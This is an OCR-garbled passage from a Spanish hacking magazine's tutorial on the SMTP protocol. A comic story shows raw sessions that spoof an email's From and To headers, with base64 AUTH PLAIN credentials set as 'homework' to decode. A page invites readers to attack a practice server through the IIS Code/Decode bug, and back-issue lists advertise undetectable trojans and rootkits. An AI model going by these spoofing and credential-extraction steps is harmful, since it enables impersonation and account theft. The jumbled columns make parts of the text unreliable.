viendo. hemos tenido la increible coa de dar con un
El primero de todos consiste en decirle al servidor que admite RELAY y eso, hoy da, es
servidor, mediante un simple comando (MAIL un chollo.
FROM), quin es el emisor del mensaje. En
realidad, esto es una patraa, ya que puedes Y por qu digo "hoy da"? Pues porque la era
poner aqu cualquier direccin que se te ocurra, dorada del SMTP ya pas. :'-(
aunque ni siquiera exista. Pero realmente hubo una era dorada! Hace
Esto en teora se usa ms que nada para que, unos aos, la inmensa mayora de servidores
en caso de cualquier problema, el servidor sepa SMTP no implementaban sistemas de
a qu direccin tiene que devolver el mensaje. autenticacin, por lo que cualquiera poda
En el caso de nuestra querida Macizorra, a la utilizarlos para enviar mensajes a diestro y
cual tenamos ya casi olvidada, esto ser lo siniestro, con la increible libertad no slo de
que podra enviar en este punto su cliente de utilizar el servidor sin ser un usuario registrado,
correo: si no adems... de poder enviar mensajes en
M A I L F R O M : ma c i z o r ra @ j o t m a i l . c o m nombre de cualquiera! Si, eso es, mensajes en
Claro que tambin es probable que su cliente, los que la direccin de origen poda ser
en lugar de esto, deje este comando en blanco, spoofeada o incluso estar en blanco.
es decir: Por suerte o por desgracia, esta increble
MAIL FROM: inseguridad que antes estaba generalizada
Y esto para qu? Tal y como se explica en el ahora es rara de encontrar, debido sobre todo
RFC, el dejar en blanco este parmetro sirve a los odiados spammers, que aprovechaban
para evitar posibles problemas de bucles estas vulnerabilidades para sus aviesos fines.
infinitos, ya que podra darse el caso de que
un mensaje de devolucin a su vez tuviese que 3.6. Por ltimo, el mensaje en s :-)
ser devuelto, por lo que se podra armar un
buen jaleo. El ltimo paso! Ya solo falta enviar el mensaje
en si.
3.5. Seguimos, con el destinatario del Pero... entonces dnde va el subject y todas
mensaje esas cosas? Pues todo eso va incluido en el
propio mensaje, y es lo que constituye la
A continuacin, le decimos al servidor cul es cabecera del mismo.
el receptor del mensaje. En el caso de Macizorra Por tanto, un mensaje se compone de una
ser esto lo que enviar al servidor: cabecera y un cuerpo, que es donde va el

Pgina 60 PC PASO A PASO N 8


SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW

mensaje en si tal y como nosotros lo leemos. 3.6.2. Cuerpo del mensaje


Para empezar a escribir el mensaje, tanto la
cabecera como el cuerpo, simplemente tenemos Despus de la cabecera, normalmente
que escribir el comando: tendremos que dejar una lnea en blanco para
DATA que lo que viene a continuacin no se interprete
Ante lo cual nos responder el servidor con como parte de la cabecera.
un cdigo 354: En el cuerpo del mensaje ir no slo el texto,
354 go ahead si no tambin los attachments (archivos
adjuntos), los cuales irn codificados mediante
3.6.1. Cabecera del mensaje algn sistema que se especificar en la cabecera.
No podemos meternos con el tema de los
No voy a entrar en detalles sobre todos los attachments, ya que nos iramos demasiado
campos de las cabeceras, as que resumo slo por las ramas (quiz en algn otro artculo?
los ms importantes: :-m).

From: Lo siento, Pringa, pero ya estoy saliendo con


Esta es la direccin de origen del mensaje. Musculitos. Es una pena, porque si no fuese
Probad a poner una direccin que no sea la por el...
vuestra, a ver que pasa ]:-)
From: macizorra@jotmail.com Fdo: Macizorra
Seguid leyendo, seguid... que ms tarde os
explicar algo interesante sobre esto. ;-) 3.6.3. Fin de mensaje

To: Para terminar el mensaje, basta con dejar una


lnea en la que tan slo haya un punto, seguido
Direccin de destino del mensaje. Esta no de un Intro.
es la direccin a la que llegar el mensaje, si .
no la direccin que aparecer en el cliente de Ante esto, el servidor responder con un cdigo
correo del que lo lea! Es decir, donde se 250:
especifica la direccin de destino no es aqu, 250 Ok
si no cuando se ejecut el comando RCPT
TO. Por tanto, modificando este campo puedes 3.7. Y si algo hubiese salido mal?
conseguir el misterioso efecto de enviar un
email a un amigo y que, cuando este lo abra, Al igual que en POP3, el protocolo SMTP permite
la direccin de destino que el vea no sea la hacer un "Undo", es decir, anular el e-mail que
suya, si no la de cualquier otro. De nuevo, os se ha redactado para empezar de cero antes
aconsejo que sigais leyendo, porque en nuestra de que sea enviado. El nombre del comando
historieta veremos tambin un ejemplo prctico es exactamente el mismo que en POP3, as
de esto ;-) como su funcionamiento:
To: pringaete@buanadu.es RSET

Subject: 3.8. Se acab!

Pues eso, el subject o asunto del mensaje Una vez terminado el proceso de redaccin del
:-P mensaje, ya slo falta salir del servidor y, de
Subject: Ajo y Agua nuevo, lo haremos con el mismo comando que

PC PASO A PASO N 8 Pgina 61


SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW

en POP3: RCPT TO: pringaete@buanadu.es


QUIT
250 ok
4. Resumen de todo lo visto: EL
MENSAJE DE MACIZORRA A DATA
PRINGAETE
354 go ahead
Vamos a ver de un tirn toda la sesin SMTP
que estableci el cliente de Macizorra con el From: macizorra@jotmail.com
servidor de Jotmail, para lo cual, antes de To: pringaete@buanadu.es
nada, recordamos cual era el e-mail que quera Subject: Ajo y Agua
enviar:
Lo siento, Pringa, pero ya estoy saliendo con
From: macizorra@jotmail.com Musculitos. Es una pena, porque si no fuese por
To: pringaete@buanadu.es el...
Subject: Ajo y Agua
Fdo: Macizorra
Lo siento, Pringa, pero ya estoy saliendo con
Musculitos. Es una pena, porque si no fuese por .
el...
250 Ok
Fdo: Macizorra
QUIT
Y esta es la sesin, tal y como hemos ido
viendo paso por paso: 221 smtp03.jotmail.com

220 smtp03.jotmail.com ESMTP 4.1. Y ahora, los deberes

EHLO jotmail.com Os dejo como ejercicio una pregunta: Cul


es el password de la cuenta de correo de
250-smtp03.jotmail.com Macizorra? Si habis comprendido bien lo que
250-PIPELINING he explicado sobre la autenticacin, tenis que
250-SIZE 3000000 ser capaces de extraer esa informacin a partir
250-VRFY de la captura de la sesin SMTP que os acabo
250-ETRN de copiar. ;-)
250-AUTH LOGIN PLAIN
250 8BITMIME 5. Pringaete contraataca

AUTH PLAIN IG1hY2lab3JyYSB0b3lidWVuYQ== Nuestro amigo Pringaete es un tipo duro, y


ante los problemas no se pone a llorar y patalear,
235 ok, go ahead (#2.0.0) si no que busca soluciones. Adems, es un
hombre sin escrpulos, por lo que no se va a
MAIL FROM: cortar un pelo a la hora de contraatacar. Y es
que resulta que Pringaete es un asiduo lector
250 ok de los cuadernos de HackXCrack y, ms

Pgina 62 PC PASO A PASO N 8


SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW

concretamente, de la serie RAW, por lo que 250 ok


el chaval controla de protocolos. ;-)
El listo de Pringaete se las ha apaado con un RCPT TO: macizorra@jotmail.com
mnimo esfuerzo de ingeniera social para
conseguir la direccin de correo de Musculitos, 250 ok
que es:
muscleman@requetevision.net DATA
As que se le ocurre enviar este mensaje a
Macizorra: 354 go ahead

F ro m : m u s c l e m a n @ re q u e t e v i s i o n . n e t From: muscleman@requetevision.net
To: macizorra@jotmail.com To: macizorra@jotmail.com
Subject: Fue bonito mientras dur Subject: Ajo y Agua

Lo siento, Maci, pero he descubierto que no me van Lo siento, Maci, pero he descubierto que no me van
las mujeres, as que lo nuestro se termin. Un besito. las mujeres, as que lo nuestro se termin. Un besito.

Fdo: Musculitos Fdo: Musculitos

Pero... Cmo va a enviar Pringaete un e-mail .


en nombre de Musculitos? Necesitar robarle
su cuenta de correo? Pues no! Es mucho ms 250 Ok
sencillo que eso.
Lo nico que tiene que hacer nuestro audaz QUIT
protagonista es modificar el campo FROM de
la cabecera del mensaje. :-) 221 smtp.buanadu.es
Vamos a ver entonces cmo quedara la sesin
SMTP de Pringaete para enviar este mensaje 5.1. Ms deberes
spoofeado (es decir, con una direccin de
origen falsa): Pues estamos con lo mismo... cul es ahora
el password de la cuenta de correo de
220 smtp.buanadu.es ESMTP Pringaete? ;-)

EHLO buanadu.es 6. La gran paliza

250-smtp.buanadu.es Como yo de machista no tengo ni un pelo, no


250-PIPELINING creis que os voy a hacer creer que nuestra
250-AUTH LOGIN PLAIN amiga Macizorra por estar buena tiene que
250 8BITMIME ser tonta, si no precisamente todo lo
contrario. :-)
A U T H P L A I N Resulta que, casualmente, Macizorra es tambin
IHByaW5nYWV0ZSBzb3lmcmVhaw== una asidua lectora de la serie RAW, por lo
que sigui mi consejo, en el artculo anterior,
235 ok, go ahead (#2.0.0) de configurar su cliente de correo para ver las
cabeceras completas. As que, ya que nuestra
MAIL FROM: amiga jams dud de la virilidad de su amado

PC PASO A PASO N 8 Pgina 63


SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW

Musculitos, en cuanto ley ese mensaje qued era l, si no un tal


un poco mosca, por lo que decidi revisar "soyhombremuerto@funeral.net",
detenidamente la cabecera. y en cambio ese mensaje le haba llegado
Y qu fue lo que descubri? Pues que en la mgicamente a su cuenta de
cabecera del mensaje haba, entre otras, "pringaete@buanadu.es". Eso slo
esta lnea: poda significar una cosa: Musculitos tambin
Received: from 217-124-12-15.buanadu.es es un asiduo lector de la serie RAW y conoce
(HELO buanadu.es) (pringaete@217.124.12.15 los oscuros misterios del protocolo SMTP.
with plain) (glups...)
Vaya, vaya... pero si 217.124.12.15 es Y, cmo ha conseguido Musculitos que
precisamente la IP de Pringaete... y no solo reciba Pringaete un e-mail supuestamente
eso, si no que hasta son tan amables de no destinado a su cuenta? Pues, simplemente,
decirnos que el usuario que envi ese e-mail cambiando el campo TO de la cabecera
no fue muscleman, si no pringaete... del mensaje. Por no poneros toda la sesin,
Y ahora probablemente os estaris os pongo slo lo que habra a partir del
preguntando: Cmo puede ser que ponga MAIL FROM:
eso en la cabecera, si Pringaete no escribi
nada parecido en la cabecera cuando redacto MAIL FROM:
el mensaje?
Pues resulta que la cabecera que llega a 250 Ok
Macizorra no es slo la que escribi Pringaete
a la hora de redactar el e-mail, si no que a RCPT TO: pringaete@buanadu.es
sta se suman varias lneas generadas por
el propio servidor de correo, o incluso por 250 Ok
los posibles servidores intermedios (os acordis
de los relays y los gateways?) por los que pas DATA
el mensaje.
354 go ahead
As que, al da siguiente, Pringaete abre su
correo ansiosamente, esperando recibir alguna F r o m : m u s c l e m a n @ re q u e t e v i s i o n . n e t
declaracin de amor de una supuestamente To: soyhombremuerto@funeral.net
decepcionada Macizorra, cuando recibe lo Subject: la cagaste, majo
siguiente:
Se te ha visto el plumero. Vas a ver como te dejo la
F r o m : m u s c l e m a n @ re q u e t e v i s i o n . n e t cara. :-)
To: soyhombremuerto@funeral.net
Subject: la cagaste, majo Fdo: Musculitos

Se te ha visto el plumero. Vas a ver como te dejo .


la cara. :-)

250 Ok
Fdo: Musculitos

QUIT
Pringaete qued bastante estupefacto, no slo
por la terrible amenaza, si no tambin por el
221 smtp014.requetevision.net
hecho de que el destinatario del mensaje no

Pgina 64 PC PASO A PASO N 8


SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW

6.1. Para terminar, los deberes


PERSONALIZA
PERSONALIZA
PERSONALIZA
PERSONALIZA
PERSONALIZA
PERSONALIZA
PERSONALIZA
PERSONALIZA
PERSONALIZA
PERSONALIZA
PERSONALIZA
PERSONALIZA
PERSONALIZA
PERSONALIZA TU
TU
TU
TU
TU
TU
TU
TU
TU
TU
TU
TU
TU
TU
TU
TU MOVIL
MOVIL
MOVIL
MOVIL
MOVIL
MOVIL
MOVIL
MOVIL
MOVIL
MOVIL
MOVIL
MOVIL
MOVIL
MOVIL
MOVIL
MOVIL
MOVIL
MOVIL
MOVIL
MOVIL
MOVIL
MOVIL
MOVIL
MOVIL
MOVIL
MOVIL
Pues esta vez no puedo pediros que saquis PERSONALIZA
PERSONALIZA
PERSONALIZATU
TU
PERSONALIZA TU
PERSONALIZA
PERSONALIZA TU
TU
PERSONALIZA TUMOVIL
MOVIL
MOVIL
MOVIL
MOVIL
TUMOVIL
TU MOVIL
MOVIL
MOVIL
MOVIL
MOVIL
MOVIL
MOVIL
el password de la cuenta de correo de
Musculitos, ya que no he copiado la sesin
completa, as que lo nico que puedo poneros
como deberes es que tratis de reconstruir la
cara del pobre Pringaete. ;-)

Autor: PyC (LCo)


Ilustraciones: MariAn (LCo)

HAY MUCHOS MAS EN


http://pclog.buscalogos.com/

QUIERES COLABORAR CON PC PASO A PASO?


PC PASO A PASO busca personas que posean conocimientos de
informtica y deseen publicar sus trabajos.

SABEMOS que muchas personas (quizs tu eres una de ellas) han creado
t ex t o s y c u r s o s p a r a c o n s u m o p r o p i o o d e u n o s p o c o s .

SABEMOS que muchas personas tienen inquietudes periodsticas pero


nunca se han atrevido a presentar sus trabajos a una editorial.

SABEMOS que hay verdaderas obras de arte creadas por personas


como tu o yo y que nunca vern la luz.

PC PASO A PASO desea contactar contigo!

NOSOTROS PODEMOS PUBLICAR TU OBRA!!!


SI DESEAS MS INFORMACIN, envanos un mail a
empleo@editotrans.com y te responderemos concretando nuestra oferta.

Tambin necesitamos urgentemente alguien que se ocupe de la


publicidad y de la web de esta editorial, para ms informacin
envanos un mail a empleo@editotrans.com

PC PASO A PASO N 8 Pgina 65


SERVIDOR DE HXC
MODO DE EMPLEO

- Hack x Crack ha habilitado un servidor para que puedas A partir de ese momento, cualquiera que acceda a ese
realizar las prcticas de hacking. servidor, ver el default.htm modificado para vergenza
del site hacheado. Esto es muy genrico pero os dar
- Actualmente tiene el BUG del Code / Decode y lo una idea de cmo funciona esto de hackear Webs ;)
dejaremos as por un tiempo (bastante tiempo ;) Nuestra
intencin es ir habilitando servidores a medida que os - Cuando accedas a nuestro servidor mediante el CODE /
enseemos distintos tipos de Hack, pero por el momento DECODE BUG, crea un directorio con tu nombre (el que
con un Servidor tendremos que ir tirando (la economa no mas te guste, no nos des tu DNI) en la unidad d: a ser
da para mas).
posible (que tiene mas espacio libre) y a partir de ahora
- En el Servidor corre un Windows 2000 Advanced Server utiliza ese directorio para hacer tus prcticas. Ya sabes,
con el IIS de Servidor Web y est en la IP 80.36.230.235. subirnos programitas y practicar con ellos :)

- El Servidor tiene tres unidades: Puedes crearte tu directorio donde quieras, no es necesario
* La unidad c: --> Con 2GB que sea en d:\mellamojuan. Tienes total libertad!!! Una
* La unidad d: --> Con 35GB y Raz del Sistema idea es crearlo, por ejemplo, en
* La unidad e: --> CD-ROM d:\winnt\system32\default\mellamojuan (ya irs
aprendiendo que cuanto mas oculto mejor :)
Nota: Raz del Servidor, significa que el Windows Advanced
Server est instalado en esa unidad (la unidad d:) y Es posiblemente la primera vez que tienes la oportunidad
concretamente en el directorio por defecto \winnt\ de investigar en un servidor como este sin cometer un
Por lo tanto, la raz del sistema est en d:\winnt\ delito (nosotros te dejamos y por lo tanto nadie te
perseguir). Aprovecha la oportunidad!!! e investiga mientras
- El IIS, Internet Information Server, es el Servidor de dure esta iniciativa (que esperamos dure largos aos)
pginas Web y tiene su raz en d:\inetpub (el directorio
por defecto) - En este momento tenemos mas de 600 carpetas de pea
que, como tu, est practicando. As que haznos caso y
Nota: Para quien nunca ha tenido instalado el IIS, le ser crea tu propia carpeta donde trabajar.
extrao tanto el nombre de esta carpeta (d:\inetpub) cmo
su contenido. Pero bueno, un da de estos os ensearemos
a instalar vuestro propio Servidor Web y detallaremos su
funcionamiento.

De momento, lo nico que hay que saber es que cuando


T pongas nuestra IP (la IP de nuestro servidor) en tu
navegador, lo que ests haciendo realmente es ir al ! MUY IMPORTANTE...
directorio d:\Inetpub\wwwroot\ y leer un archivo llamado
default.htm.

Nota: Como curiosidad, te diremos que APACHE es otro MUY IMPORTANTE!!!!! Por favor, no borres archivos
Servidor de pginas Web (seguro que has odo hablar de
l). Si tuvisemos instalado el apache, cuando pusieses del Servidor si no sabes exactamente lo que ests haciendo ni
nuestra IP en TU navegador, accederas a un directorio borres las carpetas de los dems usuarios. Si haces eso, lo nico
raz del Apache (donde se hubiese instalado) e intentaras
leer una pgina llamada index.html que consigues es que tengamos que reparar el sistema servidor
y, mientras tanto, ni tu ni nadie puede disfrutar de l :(
Explicamos esto porque la mayora, seguro que piensa en
un Servidor Web como en algo extrao que no saben ni Es una tontera intentar romper el Servidor, lo hemos puesto
donde est ni como se accede. Bueno, pues ya sabes para que disfrute todo el mundo sin correr riesgos, para que todo
dnde se encuentran la mayora de IIS (en \Inetpub\) y
cul es la pgina por defecto el mundo pueda crearse su carpeta y practicar nuestros ejercicios.
(\Inetpub\wwwroot\default.htm). Y ahora, piensa un poco
En el Servidor no hay ni Warez, ni Programas, ni claves, ni nada
Cul es uno de los objetivos de un hacker que quiere
decirle al mundo que ha hackeado una Web? Pues est de nada que robar, es un servidor limpio para TI, por lo tanto
claro, el objetivo es cambiar (o sustituir) el archivo
default.html por uno propio donde diga hola, soy DIOS cudalo un poquito y montaremos muchos ms :)
y he hackeado esta Web (eso si es un lamer ;)

Pgina 66 PC PASO A PASO N 8


NMERO1:

-CREA TU PRIMER TROYANO


INDETECTABLE POR LOS ANTIVIRUS.
-FLASHFXP: SIN LMITE DE VELOCIDAD.
-FTP SIN SECRETOS: PASVMODE.
-PORT MODE/PASV MODE Y LOS
FIREWALL: LA UTILIDAD DE LO
APRENDIDO.
-TCP-IP:INICIACIN (PARTE 1).
-EL MEJOR GRUPO DE SERVIDORES FTP
DE HABLA HISPANA.
-EDONKEY 2000 Y SPANISHARE.
-LA FLECHA CIDA.

NMERO 2:

-CODE/DECODE BUG: INTRODUCCIN.


-CODE/DECODE BUG: LOCALIZACIN
DEL OBJETIVO.
-CODE/DECODE BUG: LNEA DE
COMANDOS.
-CODE/DECODE BUG: SUBIENDO
ARCHIVOS AL SERVIDOR REMOTO.
-OCULTACIN DE IP: PRIMEROS PASOS.
-LA FLECHA CIDA: LA SS DIGITAL.
AZNAR AL FRENTE DE LA SS DEL SIGLO
XXI.

NMERO 3:

-PROXY: OCULTANDO NUESTRA


IP. ASUMIENDO CONCEPTOS.
-PROXY: OCULTANDO NUESTRA
IP. ENCADENANDO PROXIES.
-PROXY: OCULTANDO NUESTRA
IP. OCULTANDO TODOS
NUESTROS
PROGRAMAS TRAS LAS CADENAS DE
PROXIES.
-EL SERVIDOR DE HACKXCRACK
CONFIGURACIN Y MODO DE EMPLEO.
-SALA DE PRACTICAS: EXPLICACIN.
-PRCTICA 1: SUBIENDO UN ARCHIVO
A NUESTRO SERVIDOR.
-PRCTICA 2: MONTANDO UN DUMP
CON EL SERV-U.
PRCTICA 3: CODE/DECODE BUG.
LNEA DE COMANDOS.

NMERO 4:

-CREA TU SEGUNDO TROYANO,


INDETECTABLE E INMUNE A LOS
ANTIVIRUS.
CONOCIENDO EL RADMIN.
GESTIONANDO UNA SALA
DE ORDENADORES.
OCULTANDO EL RADMIN.
INSTALANDO EL RADMIN
EN EQUIPOS REMOTOS.
-OCULTACIN DE IP POR NOMBRE DE
DOMINIO.
-CREA LETRAS DE IMPACTO PARA TUS
DOCUMENTOS (LETRAS DE FUEGO).
- CONSIGUE UNA IP FIJA.
NMERO 5:

-HACK-OPINION: LA PIRATERA EN
INTERNET.
-ROOTKITS: LA PESADILLA DE
CUALQUIER ADMINISTRADOR.
-ROOTKITS: EL SR. NTROOT.
-WAREZ: APPZ, GAMEZ, MP3Z, DIVX,
FTPZ, 0-DAY.
-APRENDIENDO A COMPILAR
PROGRAMAS. COMPILA TU PROPIO
NETCAT.
-BUGS, ERRORES Y OTRAS FORMA DE
JOD...
-NETBIOS: ESTUDIO Y PENETRACIN DE
SISTEMAS.
-ASESINADOS POR LA LSSI.
-LISTADO DE ORDENES PARA NETBIOS.
-HACK-OPINION: PAGOS POR INTERNET
SEGUROS Y.

NMERO 6:

- PASA TUS PELICULAS A DIVX (STREAMING)


- PASA TUS PELICULAS A DIVX II (CODEC DIVX)
- PUERTOS & SERVICIOS
- eMule: EL NUEVO REY DEL P2P
- NUEVA SECCION: PROGRAMACION DESDE 0
- CURSO DE VISUAL BASIC
-IPHXC: EL TERCER TROYANO DE HXC
- TENDENCIAS ACTUALES EN CODIGO MALICIOSO
- OCULTACION DE FICHEROS. METODO STREAM
(ads)
- TRASTEANDO CON EL HARDWARE DE UNA LAN

NMERO 7:

- PROTOCOLOS: POP3
- PASA TUS PELICULAS A DIVX III (EL AUDIO)
- PASA TUS PELICULAS A DIVX IV (MULTIPLEXADO)
- CURSO DE VISUAL BASIC: LA CALCULADORA
-IPHXC: EL TERCER TROYANO DE HXC II
- APACHE: UN SERVIDOR WEB EN NUESTRO PC
- CCPROXY: IV TROYANO DE PC PASO A PASO
- TRASTEANDO CON EL HARDWARE DE UNA LAN

También podría gustarte